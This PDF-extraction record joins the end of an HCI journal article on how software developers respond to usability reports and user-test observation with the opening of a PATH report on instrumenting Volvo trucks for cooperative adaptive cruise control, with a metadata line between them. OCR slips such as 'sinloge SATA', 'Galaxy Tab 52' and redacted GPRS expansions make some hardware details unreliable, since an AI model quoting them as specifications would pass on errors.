<td></td> <td>opinions on strengths and weaknesses.</td> <td>Receive and R1.</td> </tr> <tr> <td>3</td> <td>Receive and read R1.</td> <td>Semistructured interview on strengths and</td> </tr> <tr> <td></td> <td>Interview conducted by one of the writers</td> <td>weaknesses.</td> </tr> <tr> <td></td> <td>of R1.</td> <td>Interview conducted by one of the writers</td> </tr> <tr> <td></td> <td>Semi-structured interview on strengths</td> <td>R2.</td> </tr> <tr> <td></td> <td>and weaknesses.</td> <td>The developer is also asked to comment on</td> </tr> <tr> <td></td> <td>The developer is also asked to comment on</td> <td>the usefulness of the reports and its</td> </tr> <tr> <td></td> <td>the usefulness of the reports and its</td> <td>individual elements.</td> </tr> <tr> <td></td> <td>individual elements.</td> <td>Interview conducted by one of the writers</td> </tr> <tr> <td>5</td> <td>Group discussion where the developers are</td> <td>R1.</td> </tr> <tr> <td></td> <td>presented with each other’s list of</td> <td>The two developers develop a common list.</td> </tr> <tr> <td></td> <td>strengths and weaknesses.</td> <td></td> </tr> </tbody> </table> Data analysis. To analyze the interviews, we transcribed the interview using opinion condensation as described by Kvale (1997). This was done 2 days after the interviews. Through this kind of transcription, opinions expressed by the interviewees are transformed into shorter and more precise formulations. The intention of the condensation is to be as precise as possible, which means that we maintain the keywords that the interviewee uses. Longer pieces of speech are condensed into a single or a few sentences. The advantage of opinion condensation is that it can help present a relatively large amount of empirical data in an easy-to-read fashion while both preserving and clarifying important issues. Opinion condensation can never be considered equal to traditional transcription of the interview, which has significantly higher level of detail and involves less processing of the original source. 4.2. Results In this section, we present the results from the field experiment. This includes the developers' attitude to usability, the impact of the usability reports on their opinion about the system, and their judgment about the relevance of different parts of the usability reports. The concept of usability. In the first step, before reading any usability report, both developers were asked to express how they understood the term usability. Both of them were able to formulate this in specific terms. Developer A found that intuitive was the word that described it best but also mentioned easy and straightforward to use without “having to read several manuals.” Developer B defined usability as the specific screens in the system, where the design of the screens should target the user and the information presented should be relevant. In addition, the user interface should be easily understood and look nice. The developers stated that usability is and always has been important in their daily work but that time issues prevent them from analyzing and considering different ideas. Opinions about strengths and weaknesses. Developer A initially had some difficulties in naming as many as five strengths and weaknesses of the system (see Table 5). He was also somewhat reluctant in prioritizing the items in his lists. His strengths reflected the arguments that the system was sold upon, whereas the weaknesses reflected technical issues encountered in the development process. After reading the first report, Developer A did not change his list of strengths noticeably; the items were merely rephrased. Contrary to this, his list of weaknesses was completely altered. He adopted many of the issues described in the usability report, and he was now able to expand the list to five items. These items were also more reflected issues that concerned the interaction with the system. Furthermore, social implications caused by the use of the system became evident to the developer. The second usability report did not profoundly influence his belief about the strengths of the system. It made him rearrange two subjects and add the use of daily technology as an advantage. Regarding weaknesses, reading the second report only made him rearrange the rankings in the list and expand and rephrase the descriptions of two items. Unlike his colleague, Developer B was from the beginning able to list five items of strengths and four weaknesses. Most of his initial items were maintained throughout the entire process, and his list was only slightly altered and rearranged (see Table 6). After reading the first report, he only elaborated on the description of the highest ranking strengths and replaced the second highest item. On the other hand, his list of weaknesses was expanded with a problem of understanding the possibilities of interaction as a new item that ranked highest. The remaining items were only rephrased and rearranged. Reading the second usability report did not influence Developer B enough for him to make noticeable changes. He made alterations only to descriptions in the list of strengths and the ranking of the two last items. The common list, shown in Table 7, was generated in a collaboration between the two developers. This gave rise to debate between the two, where especially the ranking process initiated heated discussion. The developers discussed each top item on their lists until an agreement was reached. It is interesting that all the strengths in the final list can be traced back to the developers’ initial lists, either in one or both lists. Some items have been rephrased but emphasize the same advan- ### Table 5: The Lists Generated by Developer A <table> <thead> <tr> <th>List</th> <th>Strengths</th> <th>Weaknesses</th> </tr> </thead> <tbody> <tr> <td>1 Before reading reports</td> <td>1. Online: The system can provide relevant real-time information.</td> <td>1. GPRS: Limited coverage.</td> </tr> <tr> <td></td> <td>2. Barcode scanners: All interaction begins with the user scanning.</td> <td>2. Barcodes are used to interact with the system instead of the mobile phone.</td> </tr> <tr> <td></td> <td>3. No software on the mobile phone.</td> <td>3. Online: Problem when no connection is available.</td> </tr> <tr> <td>2 After first report</td> <td>1. Online/No software on mobile phone.</td> <td>1. No manual or documentation.</td> </tr> <tr> <td></td> <td>2. The use of barcode technology.</td> <td>2. Error messages.</td> </tr> <tr> <td></td> <td>3. Customizable.</td> <td>3. Handling of logical errors.</td> </tr> <tr> <td></td> <td></td> <td>4. Input of data through the mobile phone is problematic in relation to target user group.</td> </tr> <tr> <td></td> <td></td> <td>5. Human resistance toward the system.</td> </tr> <tr> <td>3 After second report</td> <td>1. Online/No software on mobile phone.</td> <td>1. Human resistance toward the system.</td> </tr> <tr> <td></td> <td>2. Customizable.</td> <td>Employees feel that they are under surveillance.</td> </tr> <tr> <td></td> <td>3. The use of barcode technology.</td> <td>2. No manual or documentation.</td> </tr> <tr> <td></td> <td></td> <td>3. Many barcodes needed to navigate the system.</td> </tr> <tr> <td></td> <td></td> <td>4. Browser technology/phone restrictions: Input of data through the mobile phone is problematic in relation to target user group.</td> </tr> <tr> <td></td> <td></td> <td>5. Error messages and handling of logical errors.</td> </tr> </tbody> </table> Note. GPRS = XXXXXXXXXXXXXXXXXXXXX. The story is different when it comes to the weaknesses. Here, the two top items also originate from both developers’ initial lists, but the third item is A’s final top weakness. The last two items were derived from Developer B’s final list and are items that were added to his list in the course of the field experiment. Hence it is clear that the usability reports have influenced the developers’ opinion about the system’s weaknesses. ### Table 6: The Lists Generated by Developer B <table> <thead> <tr> <th>List</th> <th>Advantages</th> <th>Disadvantage</th> </tr> </thead> <tbody> <tr> <td>1 Before reading reports</td> <td>1. Hardware: Mobile phone. 2. Few scans necessary. 3. Customizable. 4. Online—real time. 5. Simple solution with limited interaction.</td> <td>1. Screen size 2. Problems with GPRS. Often slow. 3. No manual or documentation. 4. Only works on some types of mobile phones.</td> </tr> <tr> <td>2 After first report</td> <td>1. Hardware: Mobile phone. Everybody is familiar with the technology. 2. Displays only necessary information. 3. Customizable. 4. Online all the time. 5. The system is simple and uniform.</td> <td>1. The text describing each of the barcodes. 2. More user education in needed. 3. System reply time. 4. Screen size. Difficult to maintain an overview. 5. System is interpreted differently on different phones.</td> </tr> <tr> <td>3 After second report</td> <td>1. Hardware: Mobile phone. Everybody knows it. 2. The system is simple and uniform. 3. Customizable. 4. Displays only necessary information. 5. Online all the time.</td> <td>1. The text describing each of the barcodes. 2. More user education in needed. 3. System reply time. 4. Screen size. Difficult to maintain an overview. 5. System is interpreted differently on different phones.</td> </tr> </tbody> </table> Note: GPRS = XXXXXXXXXXXXXXXXXXXXX. ### Table 7: The Common List Made in Collaboration Between the Two Developers <table> <thead> <tr> <th>Strengths</th> <th>Weaknesses</th> </tr> </thead> <tbody> <tr> <td>List 4: After Group Interview</td> <td>1. Online–real time. 2. Customizable. 3. Rely on commonly known technology: mobile phone. 4. Simple and small barcode scanner. 5. The system is simple and uniform.</td> </tr> </tbody> </table> Note. GPRS = XXXXXXXXXXXXXXXXXXXX. Usefulness of the usability reports. Both developers used the same approach when reading the two usability reports. Basically, the reports were read from the beginning to the end. Occasionally the Appendices were used to see the design of the tasks (see Table 1). The log files (5d + 5e) were not read in their entirety but were used to examine details concerning a problem, if developers were uncertain why a problem had occurred. When asked, Developer B stated, “I used the log files to gain further insight into what happened.” Both Developer A and B mentioned that the overview of the usability problems (3c) and the elaborating descriptions (3d) were important for the future work on the system: “I really like the problem list and it is something I can use concretely in my work.” The log files (5d) were good, because “they describe what they (the test participants) did. It provided a better feel of what they did, why they could not figure it out, and what they did next.” This shows that log files are useful for providing further insight when trying to understand some of the problems in detail. Log files can provide almost firsthand insight into the specific actions the user performed. Although they cannot be used directly to resolve the problems, the developers also find them important in understanding the conditions under which the tests have been conducted (2). This was mentioned by both developers as being very important in respect to how they rate the validity of the evaluation. On the contrary, Developer B mentioned that “the other assessments and similar elements are quite amusing to read, but they are not very useful,” referring to the summary (1) and the conclusion (4). The developers found the NASA-TLX (3a) method interesting, but they experienced some problems in interpreting the tables with the results of this test. Developer B found that R2 lacked a transcription of the debriefing conducted at the end of each test. This was important, as “it would provide me with a better insight into the participants’ attitude towards the system.” During the final interview (Step 5), the developers brought up the issue of using video recordings. In relation to some of the problems encountered in “… the first few minutes, when the user for the first time was presented with the system on the mobile phone,” it would have been beneficial if the video material had been available. This would have given him a chance to see the test participants’ first reactions. Social and organizational aspects. A project resource such as time is an overall topic throughout the interviews. On several occasions the two developers used this as an excuse for some of the usability problems that were identified. In the beginning of the experiment, before having seen any of the reports (Step 1), Developer A said, “We know that many of the things are there—many things that we would really like to correct if we had the time.” Numerous times both developers mentioned that designing the user interface is an important and necessary part of their job, but they cannot spend much time on analyzing and considering different ideas. They are simply too busy. Developer A expressed that this should be taken into account when evaluating the usability of a system. As developers, they often find themselves thinking in “states” and “actions” of the system, but according to both developers, the reports can help them to gain fur- ther insight into how the users think, when they use the system, thereby turning their attention more toward the interaction with the system. **Evaluation conditions and procedure.** One of the issues frequently referred to during the interviews was that the users were very inexperienced, and if they were more experienced, the result of the evaluation would have been different. This may be correct, but it does not imply that usability problems found by relatively inexperienced users do not exist. We see this more as a defensive reaction toward a perhaps overwhelming number of usability problems seen from the developers’ point of view. This is supported by the developers acknowledging that many of the problems were relevant and should be fixed. When Developer A was asked about his general opinion on the evaluations, he replied that “many of the things mentioned have applicability in our further work” and added that he “can relate to the findings and use them positively.” Another point of critique presented by the developers was that the tasks were not realistic and that this might have affected the outcome of the tests. According to Molich (personal communication, May 18, 2004), this is a typical objection raised by developers. Still, Developer A mentioned, “I am impressed with how many strange errors the users manage to provoke, which we have never thought of ourselves.” 5. **DISCUSSION ACROSS STUDIES** The two sections above have presented the results of the two empirical studies. During the studies and the analysis, topics related to both studies emerged. The key topics are discussed in this section. 5.1. **Developer Motivation** In both studies, the developers emphasized motivation as a key topic. On one hand, they expressed that usability is a very important issue for a development organization. On the other hand, knowledge about usability problems had only very limited impact on their practice. In addition, there is typically no systematic processing of the usability report. The reason may be that the developers have no motivation to focus on usability. Observation of users was different, because the developers gained a strong impression of the way “real” users worked with the system: > When you suddenly stand out there and face them in the real world, and face their lack of competence. ... This is about the developers’ attitude and understanding. Therefore, it is important to motivate developers by letting them experience “the real world.” Observation of a user test gives this firsthand experience of the real world. Thus this developer believes that observation of system use by real users will increase the motivation of the developers to improve the usability of the system. 5.2. Enhancing the Impact of the Usability Report During the two studies, the participants articulated several ideas that could improve the feedback from the evaluations. A major point with the usability report was the problem list, which was considered to be very important. It was emphasized that the problem list could be improved by giving the reason why a problem occurred. For example, the feedback could say that there is too much information on a page or that a button is placed without a clear reference to its context. The developers further expressed a desire to discuss such explanations in a meeting between developers and evaluators. It would be a very good for some of the most important issues, or the most critical issues, to talk them over with the test monitor, or some of the others that had been involved in the user tests. To have them explain why something is a usability problem. This result shows that the developers do not get all the information they need from the usability report in the traditional form. The developers also requested redesign proposals to key usability problems. At a first glance there seems to be some issues to consider for usability specialists before giving redesign proposals. For example, the usability evaluators do not know the entire system design; they do not know if there are any technical issues or any special customer demands. Moreover, acquiring this information would make the task of generating redesign proposals highly resource demanding. Yet there are promising research results that challenging these concerns. Frøkjær and Hornbæk (2004) reported from a series of interviews where practitioners criticized the form of traditional usability reports, and they concluded that developers were more interested in constructive proposals for redesign than mere descriptions of problems, even if the redesign proposals were only based on sketches. The developers in our study themselves suggested that the best way to working out redesign proposals might be to let the development team and the usability evaluators meet and discuss the key usability problems. Radle and Young (2001) recognized the importance of interpersonal skills when addressing usability through spoken language in relation to development teams, and Sy (1994) presented additional advisement on how communication of the evaluation results can be improved apart from a usability report. If possible, a meeting should be held to go through the findings with the appropriate people. In such a meeting, designers and evaluators can work out ideas for solutions in collaboration. This way the proposals can be assessed before being implemented and the proposals would still be based on knowledge of the system design. 5.3. Combining Multiple Media Observation of the user tests had a strong impact on the observers who participated in our case study. It increased their empathy for the users and their understanding of the usability problems. Thus, observation seems to be an appealing way of providing feedback from usability evaluation to interaction design. Yet in our case study with direct observation, we identified problems that need to be re- solved before observation would be more generally applicable as a feedback technique. The first fundamental problem is the time it takes to observe the user tests. For large development teams, it is simply not practical that all members observe all user tests or watch a full video recording, because it consumes too much time. The simple solution is to involve only part of the development team in the observation. This will significantly reduce the time spent on observation. However, if the user tests are observed only by some of the members of the development team, they will face the challenge of disseminating their experience to the members who did not observe the user test. The second fundamental problem with observation is that it does not facilitate systematic gathering of all the relevant usability problems. In our case, the two members who observed the user tests remembered some of the problems they had experienced. However, other problems were only remembered when the developers read the usability report, and there were problems in the usability report that they could not even remember having observed. The results from our two empirical studies emphasize that the usability report is an effective means for systematic processing of usability problems. Once the usability problems and their importance are understood, the report is a useful tool for working on the problems. The usability report effectively complements observation. Thus a viable approach would be to have a few key members of the development team observe the user tests and then present their impressions to the rest of the team. All members of the team should then have access to the report. Some of the impressions that are acquired through observation can, of course, be shared by written texts or conversation, but to provide the same strong experience may require the use of video. Video recordings would allow the entire development team to see the evaluation either in its full length or in smaller parts. The participants suggested that the usability report should be combined with such edited video clips. It was really necessary that you actually saw her, and how she moved the mouse, and how she scanned the software with her eyes. You could see what she was trying to, but could not do. The entire situation provides input to an understanding. The report does not describe the browsing with the eyes and the movement with the mouse. That information adds to the understanding. The two observers in our case study expected that the development team could get similar benefits from seeing the video or video clips illustrating the problems: "They should all have seen it, right. We could afterwards have distributed the tapes, so that the different groups could have sat down and analysed them, and looked into single situations and so on." It is questionable if it is beneficial for the whole team to view the entire amount of recorded video, as there are often periods without usability problems, although it may a very effective experience to see the most critical usability problems repeated by every user. So for the first impression, the entire video may be a powerful tool to underline the usability issues. In our case study the observers initially saw lack of user competence, as opposed to system defects, as the source of the prob- lems. The video clips might prove useful when a developer is trying to solve a usability issue and needs to see where and how the problem that he is working on actually occurred. Video and text feedback might be combined in a multimedia product as evaluated at IBM (Fath, Teresa, & Holzman, 1994), where text describes the usability problems and video clips show examples of the ways in which users experience the problem. Traditional reports are still utilized, but video clips could “provide compelling evidence to developers who are reluctant to correct usability problems” (Fath et al., 1994). A drawback associated with the use of video clips is that it is very time consuming to edit the tapes from all the user tests (Borgholm & Madsen, 1999). 6. CONCLUSION In this article we presented results from an exploratory study of two kinds of feedback from usability evaluation to user interaction design. The study involved a case study of observation of user tests as well as a field experiment with usability reports. Observation impacted the developers essentially by facilitating a rich understanding of usability problems, their severity, and the use situations in which they occur. Observation also created empathy with the users and their process of using the system. The usability report in the traditional form had a strong impact on the developers’ understanding of the specific usability problems that the users experienced with the system. The report also supported a systematic approach to deal effectively with the problems. In this process, all of the key elements of the report were deemed necessary. The results also uncovered fundamental problems with both kinds of feedback. An appealing solution is to combine observation and usability reports. Moreover, the developers stressed that the usability evaluation has a long-term impact beyond the current project. The understanding they acquired of the users and their work would impact the next version of the system as well as other systems that they would work on in the future. The two empirical studies are qualitative and they have been conducted in the natural setting. This is a well-suited approach when the aim is to acquire knowledge from practitioners and develop theories from it (Benbasat et al., 1987). A main drawback of this approach is limited generalizability of the results (Wynekoop & Conger, 1990). Therefore, quantitative experiments are necessary to support our conclusion further. A different avenue of further work is to explore strengths and weaknesses of other kinds of feedback from usability evaluation to interaction design. REFERENCES
{"Source-Url": "http://people.cs.aau.dk/~jans/courses/hci-courses/dieb-2007/ijhci-2006.pdf", "len_cl100k_base": 12940, "olmocr-version": "0.1.53", "pdf-total-pages": 24, "total-fallback-pages": 0, "total-input-tokens": 51244, "total-output-tokens": 15895, "length": "2e13", "weborganizer": {"__label__adult": 0.0006079673767089844, "__label__art_design": 0.0035343170166015625, "__label__crime_law": 0.0005125999450683594, "__label__education_jobs": 0.033050537109375, "__label__entertainment": 0.00017750263214111328, "__label__fashion_beauty": 0.00033736228942871094, "__label__finance_business": 0.0011968612670898438, "__label__food_dining": 0.0006380081176757812, "__label__games": 0.0018796920776367188, "__label__hardware": 0.0016508102416992188, "__label__health": 0.001190185546875, "__label__history": 0.0008606910705566406, "__label__home_hobbies": 0.00026154518127441406, "__label__industrial": 0.0006318092346191406, "__label__literature": 0.0014219284057617188, "__label__politics": 0.0003743171691894531, "__label__religion": 0.0007615089416503906, "__label__science_tech": 0.050018310546875, "__label__social_life": 0.00017213821411132812, "__label__software": 0.0162353515625, "__label__software_dev": 0.8828125, "__label__sports_fitness": 0.00044155120849609375, "__label__transportation": 0.0007829666137695312, "__label__travel": 0.00030922889709472656}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 71128, 0.0279]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 71128, 0.305]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 71128, 0.95347]], "google_gemma-3-12b-it_contains_pii": [[0, 1486, false], [1486, 4211, null], [4211, 6582, null], [6582, 10253, null], [10253, 13896, null], [13896, 16677, null], [16677, 19870, null], [19870, 20986, null], [20986, 23906, null], [23906, 27173, null], [27173, 30052, null], [30052, 32826, null], [32826, 35516, null], [35516, 38759, null], [38759, 41812, null], [41812, 46202, null], [46202, 48532, null], [48532, 51976, null], [51976, 54714, null], [54714, 57899, null], [57899, 61249, null], [61249, 64006, null], [64006, 67612, null], [67612, 71128, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1486, true], [1486, 4211, null], [4211, 6582, null], [6582, 10253, null], [10253, 13896, null], [13896, 16677, null], [16677, 19870, null], [19870, 20986, null], [20986, 23906, null], [23906, 27173, null], [27173, 30052, null], [30052, 32826, null], [32826, 35516, null], [35516, 38759, null], [38759, 41812, null], [41812, 46202, null], [46202, 48532, null], [48532, 51976, null], [51976, 54714, null], [54714, 57899, null], [57899, 61249, null], [61249, 64006, null], [64006, 67612, null], [67612, 71128, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 71128, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 71128, null]], "pdf_page_numbers": [[0, 1486, 1], [1486, 4211, 2], [4211, 6582, 3], [6582, 10253, 4], [10253, 13896, 5], [13896, 16677, 6], [16677, 19870, 7], [19870, 20986, 8], [20986, 23906, 9], [23906, 27173, 10], [27173, 30052, 11], [30052, 32826, 12], [32826, 35516, 13], [35516, 38759, 14], [38759, 41812, 15], [41812, 46202, 16], [46202, 48532, 17], [48532, 51976, 18], [51976, 54714, 19], [54714, 57899, 20], [57899, 61249, 21], [61249, 64006, 22], [64006, 67612, 23], [67612, 71128, 24]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 71128, 0.26908]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
3a943ede306481523a3691b8bd945a2352cd07a7
CACC Truck Instrumentation and Software Development PATH Research Report for FHWA Exploratory Advanced Research Program Cooperative Agreement DTFH61-13-H00012 Task 2.3 – Equip Trucks for Experiments John Spring, David Nelson, and Xiao-Yun Lu February 2018 # Table of Contents 1. Introduction ............................................................................................................................. 4 2. Hardware System Development .............................................................................................. 5 2.1 PC-104 Housing ............................................................................................................... 5 2.2 Main Processor Board ...................................................................................................... 5 2.3 Controller Area Network Interface board ................................................................. 7 2.4 Main system Power .......................................................................................................... 7 2.5 Vehicle to Vehicle communications .............................................................................. 8 2.6 In CAN Wi-Fi +DVI ........................................................................................................ 9 2.7 Tablet Computer for Driver Vehicle Interface (DVI) .................................................... 10 2.8 Network Switch .............................................................................................................. 11 2.9 Safety Interrupt Switch ................................................................................................... 12 2.10 DGPS unit ................................................................................................................... 12 2.11 X-PC Box for Target Detection and Perception ......................................................... 13 3. Software System Development ............................................................................................. 14 3.1 Brief Description of Single and Multiple Vehicle Control ............................................ 17 3.2 High-level Software ....................................................................................................... 18 3.3 Middle-level Software .................................................................................................... 20 3.4 Low-level Control .......................................................................................................... 27 4. Summary and Conclusion ...................................................................................................... 28 List of Figures Figure 2-1 Assembled PC-104 and solid drive etc. with integrated CAN output interface port .... 5 Figure 2-2. Intel Atom E640T CPU and Integrated Autocalibrating Data Acquisition ............ 7 Figure 2-3. M2-ATX_HV DC to DC power converter................................................................. 8 Figure 2-4. ITRI DSRC interface connections ........................................................................... 9 Figure 2-5. DSRC dual antenna installation on left and right mirrors............................................ 9 Figure 2-6. D-Link model AC1200 DIR-822 Wi-Fi router ............................................................ 10 Figure 2-7. Safety Interrupt Switch and Driver-Vehicle Interface (DVI) Tablet ......................... 11 Figure 2-8 Black Box network switch ....................................................................................... 12 Figure 2-9. Garmin 18x-5hz GPS unit....................................................................................... 13 Figure 2-10. Industrial PC-104 computer by MPL-High Tech for sensor fusion....................... 13 Figure 2-11. Volvo truck built-in radar (a) under middle the front bumper; Volvo truck built-in video camera (b) looking ahead inside the driver cabin at upper edge of the front window ........ 14 Figure 3-1 Schematic of Truck CACC data acquisition hardware/software interface on the Volvo VNL trucks.................................................................................................................................... 15 Figure 3-2 Simple menu script for testing, starting, and stopping PATH CACC software........ 16 Figure 3-3. Screenshot of the Driver Vehicle Interface (DVI) ...................................................... 19 Figure 3-4 Copy of figure 1 with the middle and low-level software separated and with all programs named.......................................................................................................................... 21 Figure 3-5 RTD ECAN527D CAN card configured for Volvo truck control............................ 24 List of Tables Table 2.1. Advcan QNX driver design for ADVANTECH CAN device in QNX OS.............. 6 1 Introduction This report documents the hardware and software development of the truck CACC system. Although, the Volvo trucks are controlled almost as it is in the sense that no sensors or control actuators have been added, several components are still necessary for the implementation of Connected Automated Vehicle technology which do not exist on the manufacturer’s product. Those components include the following: - Industrial PC-104 computer - A laptop interfacing with the PC-104 computer for system development purpose - Power supply system for the operation of all the added components - DSRC communication units and the dual antennas - Touch-screen tablet computer for driver vehicle interface (DVI) - A network switch for timing and routing the interface of all the external components with PC-104 computer - Safety Interrupt (or Emergency) Switch - A 5 Hz DGPS (Global Positioning System) unit - An X-PC box for data processing to fuse the radar and video camera data for front target detection and tracking The functionality and installation of these components will be briefly introduced individually in this report. The software development mainly includes the interfaces between those hardware components and the central PC-104 computer for real-time data exchanges: the PC-104 reading information from those components and sending back the commands, if applicable, to those components. It also includes the timing and scheduling of the processes running on the PC-104 in real-time like a director of an orchestra: which process needs to run earlier, which one to run later and how long it is expected to run. It is also responsible for the management of the data exchange by temporarily storing the data in a database and feeding the data to the control system. All those functionalities of the software have been built in submodules which are running in the Real-Time Operation System (RTOS) QNX-6. The QNX system is the real RTOS which has been used at PATH for nearly 30 years. It was initially developed for real-time and embedded control purposes, with a small kernel for high speed and reliable command execution. It has similar origins to the UNIX operating system. Those sub-modules will be described in more detail later. 2 Hardware System Development 2.1 PC-104 Housing Although the PC-104 computer could be built up like a toy stack by mounting different boards with one on top of the other, an integrated housing is a neater solution, with convenient interface of the PC-104 with all other components connecting with it. Such integration also makes the physical connections more reliable. The following Figure 2-1 is an assembled PC-104 computer with mother board, solid state drive, CAN card and interface ports (serial and USB ports etc). ![Figure 2-1 Assembled PC-104 and solid drive etc. with integrated CAN output interface port](image) 2.2 Main Processor Board Advantech PCM-3362 is a PC/104 plus form factor single board computer. Based on the Intel Atom N450 processor with computation speed at 1.66 GHz, single core capable of 2 threads and 512 kb of L2 core. The system was populated with 2GB of DDR2 (second generation double data rate) 667 5DRAM (Dynamic Random Access Memory). The PCM-3362 supports two RS-232 and one RS422/485 serial port and one Ethernet port at 10/100/1000 Mbps. The sinloge SATA port is populated with a Samsung SSD model 840 for 728 GB of storage. This system also supports four USB 2.0 ports and a video port supporting up to SXGA 1400-1060 @ 60 Hz. It is important that the Real-time Operating System QNX is compatible with this processor board. This driver supports QNX 6.5.X Intel x86 hardware platform. Table 2.1 lists the details of the CAN card used. Figure 2-2 is the Intel CPU (Central Processor Unit) of the PC-104 computer. Table 2.1. Advcan QNX driver design for ADVANTECH CAN device in QNX OS. <table> <thead> <tr> <th>Device</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>PCM-3680</td> <td>2 port Isolated ISA CAN bus Card.</td> </tr> <tr> <td>PCL-841</td> <td>2 port Isolated ISA CAN bus Card.</td> </tr> <tr> <td>TPC-662G</td> <td>1 port Isolated ISA CAN bus Device on TPC-662G.</td> </tr> <tr> <td>PCI-1680</td> <td>2 port Isolated PCI CAN bus Card.</td> </tr> <tr> <td>UNO-2052(E)</td> <td>2 port Isolated PCI CAN bus Device on UNO-2052(E)</td> </tr> <tr> <td>EAMB-PH07</td> <td>1 port Isolated PCI CAN bus Card.</td> </tr> <tr> <td>ADVANTECH GENERAL CAN PORT (1 PORT)</td> <td>1 port Isolated PCI CAN bus Card.</td> </tr> <tr> <td>ADVANTECH GENERAL CAN PORT (2 PORT)</td> <td>2 port Isolated PCI CAN bus Card.</td> </tr> <tr> <td>ADVANTECH GENERAL CAN PORT (4 PORT)</td> <td>4 port Isolated PCI CAN bus Card.</td> </tr> <tr> <td>ADVANTECH GENERAL CAN PORT (1 PORT, support CANopen)</td> <td>1 port Isolated PCI CAN bus Card and support CANopen.</td> </tr> <tr> <td>ADVANTECH GENERAL CAN PORT (2 PORT, support CANopen)</td> <td>2 port Isolated PCI CAN bus Card and support CANopen.</td> </tr> <tr> <td>ADVANTECH GENERAL CAN PORT (4 PORT, support CANopen)</td> <td>4 port Isolated PCI CAN bus Card and support CANopen.</td> </tr> </tbody> </table> 2.3 Controller Area Network Interface board Advantech PCM-3680 is a PC/104 form factor interface card that operates two separate Controller Area Network (CAN) networks simultaneously. The separate parts have optical isolation up to 2,500 Vdc. The networked CAN ports are supported by the SSA-1000 CAN controller chip and operate CAN 2.0A/B standard up to 1 Mbps software programmable transfer rate. 2.4 Main system Power The 5 volts required by the processor and interface board is powered through the M2-ATX_HV DC to DC power converter (Figure 2-3) supplied by mini-box. It is a 6V to 32V input Intelligent Automotive ATX power supply with programmable startup and shutdown characteristics. The main function is to maintain clean 5 volts over a variable and noisy input voltage range including down to 7.5 volts encountered during engine start phase. 2.5 Vehicle to Vehicle communications The Industrial Technology Research Institute (ITRI) provided the ITRI WAVE/DSRC (Dedicated Short Range Communication) units (Figure 2-4). These units support communication packets that conform to the DSRC standards. The Dual Antenna Diversity enables broadcast/receive using 9 dB gain antennas placed on the right and left outside mirrors to maintain line of sight reception during turning maneuvers with trailers attached. The ITRI WAVE/DSRC communication unit (IWCU) operates over a wide range of automotive input voltages, contains a network port, single CAN port, serial port for console support, one USB 2.0 port, VGA, Dual 5.9 GHz antennas and 1 GPS antenna. The control computer communicated with the IWCU over the Ethernet port. To avoid blocking field of view between the antennas of the different trucks, dual antenna units were mounted on both side mirrors as shown in (Figure 2-5). This required the ITRI DSRC unit to have two antenna outputs. This split was built internally to avoid conflict of output signals from the two outputs as shown in (Figure 2-5). 2.6 **In CAN Wi-Fi +DVI** A D-Link model AC1200 DIR-822 Wi-Fi router (Figure 2-6) was installed to provide WiFi access to the tablet computer used for Driver Vehicle Interface, a Samsung Galaxy Tab 52, This 8” tablet (Figure 2-7) mounted off the dashboard on the right side near the driver functioned as the driver vehicle interface. This DVI relays platoon status information collected over DSRC to the truck driver and sends change requests to the system over the touch screen interface. ![D-Link model AC1200 DIR-822 Wi-Fi router](image) **Figure 2-6. D-Link model AC1200 DIR-822 Wi-Fi router** ### 2.7 Tablet Computer for Driver Vehicle Interface (DVI) The DVI is a Samsung Galaxy Tab S2 8” Tablet with 32 GB SD and WIFI capability. It has touch screen function for convenience of driver operation. It is connected with PC-104 computer through the D-Link WIFI router as in Figure 2-6. The DVI on each vehicle has its own local IP address to avoid the WIFI signal messing with DVI unit on other truck in short distance following. 2.8 Network Switch An 8-port industrial Gigabit Ethernet Switch (Figure 2-8) with hardened temperature range added connectivity for several devices. This switch was responsible for network connections among the control computer, the ITRI DSRC unit, the Wi-Fi router, and a laptop running Linux used to collect test data after runs and log into the control computer to start system processes remotely. 2.9 Safety Interrupt Switch This was added to the right of the driver’s seat to allow for a hard interrupt of the CAN based controller signals to the engine and braking control modules. This allowed for a relay in the normally open mode to connect the control computer to the truck control modules. The normally open mode when power was activated allowed for power faults or broken wires to default to the unactuated or manual control mode. The switch was installed near the driver seat for easy access as shown in (Figure 2-7). 2.10 DGPS unit A Garmin 18x-5hz GPS unit (Figure 2-9) was added to the computer through a serial port. It provides 5 position updates per second for use in position determination and time synchronization across trucks. The Differential effect comes from the WAAS (Wide Area Augmentation System) corrections. 2.11 X-PC Box for Target Detection and Perception X-PC is an industrial PC-104 computer produced by MPL (Figure 2-10) which runs Volvo proprietary software signal processing fusing the outputs from a Doppler radar and video camera (Figure 2-11) for front target detection and perception. The outputs include one detected (confirmed) front target with the following estimations: (a) target availability: 1: there is a front target; 0: no front target; (b) target distance; (c) target speed; and (d) estimated target acceleration. Targets in the adjacent lane and static targets such as guardrails and traffic signs, trees etc. are ignored. The target detection and distance, speed and acceleration estimation are mainly based on the Doppler radar measurement. The video data are mainly used for improvement of detection and perception with radar signals. For example, if the front target is a tractor only, the video camera data can be used to make sure that the front range of the subject vehicle is with respect to the end of the tractor instead of the back of the driver compartment; or when the truck is on a curve, the video camera data is used to help identify if the front target is in the same lane as the subject vehicle to reduce false positives. 3 